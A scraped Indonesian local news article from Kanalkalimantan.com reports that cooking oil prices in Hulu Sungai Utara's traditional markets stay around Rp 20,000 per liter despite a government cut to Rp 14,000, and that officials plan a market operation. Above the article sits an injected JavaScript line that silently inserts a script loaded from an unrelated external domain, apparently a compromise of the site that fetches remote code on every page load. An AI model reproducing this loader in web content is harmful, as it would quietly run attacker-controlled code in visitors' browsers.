(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Meski pemerintah secara resmi menurunkan harga minyak goreng menjadi Rp 14.000 per liter sejak Rabu (19/1/2022) kemarin, belum berpengaruh pada pasar-pasar tradisional di Kabupaten Hulu Sungai Utara (HSU).
Laporan data Dinas Perindustrian Perdagangan, dan Koperasi (Disperindagkop) Kabupaten HSU per Kamis (20/1/2022), harga minyak goreng kemasan di beberapa pasar tradisional masih diharga Rp 20.000 hingga Rp 21.000 per liter.
Kabid Perdagangan Disperindagkop HSU, HM Isnaini, mengatakan meski harga minyak goreng telah diturunkan oleh pemerintah, namun tidak serta merta menurunkan harga minyak goreng di pasar tradisional.
Oleh karena itu, untuk menjaga kestabilan sekaligus menekan lonjakan harga jual, pihaknya berencana akan menggelar operasi pasar dalam waktu dekat ini.
“Kami rencana akan melakukan operasi pasar, rencananya pada hari Selasa, Rabu, dan Kamis pekan depan,” kata Isnaini kepada Kanalkalimantan.com, Kamis (20/1/2022).
Baca juga : Persebaru Layangkan Somasi ke Asprov PSSI Kalsel, Bila Tak Direspon Jalur Hukum Pilihan Akhir
Disperindagkop HSU rencananya bakal menyiapkan 1200 liter minyak goreng untuk operasi pasar.
“Alokasi 1200 liter minyak goreng yang disubsidi dari para pengusaha, mudah-mudahan bisa ditambah hingga mencapai 2400 liter,” kata Isnaini.
Penurunan harga minyak goreng di ritel modern dan super market yang ditetapkan pemerintah tersebut, tidak menyentuh di Kabupaten HSU. Sehingga belum terasa secara signifikan menekan lonjakan harga jual di pasar tradisional.
“Kemarin sebagian di wilayah Kabupaten Banjar dan Banjarbaru, dan mungkin hanya sampai di wilayah Tapin saja yang harganya mulai turun 14 ribu. Itu pun toko-toko ritel modern seperti mini market, sementara di tempat kita belum, terutama pasar tradisional harganya masih tinggi,” kata Isnaini.
Baca juga : Sidang Praperadilan Penutupan Jalan Hauling Km 101, Saksi Ahli: Wajib Sertakan Surat Izin Pengadilan
Operasi pasar nantinya harga minyak goreng secepatnya dapat ditekan, sehingga tidak ada lagi keluhan masyarakat.
Di Kabupaten HSU beberapa bahan pokok pangan yang mengalami penurunan drastis seperti pada cabai rawit lokal yang sebelumnya mencapai Rp 130 ribu per kilogram menjadi Rp 100 ribu per kilogram.
Cabai merah biasa sebelumnya Rp 50 ribu menjadi Rp 40 ribu per kilogram dan jenis cabe rawit taji sdari Rp 110 ribu per kilogram menjadi Rp 100 ribu. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.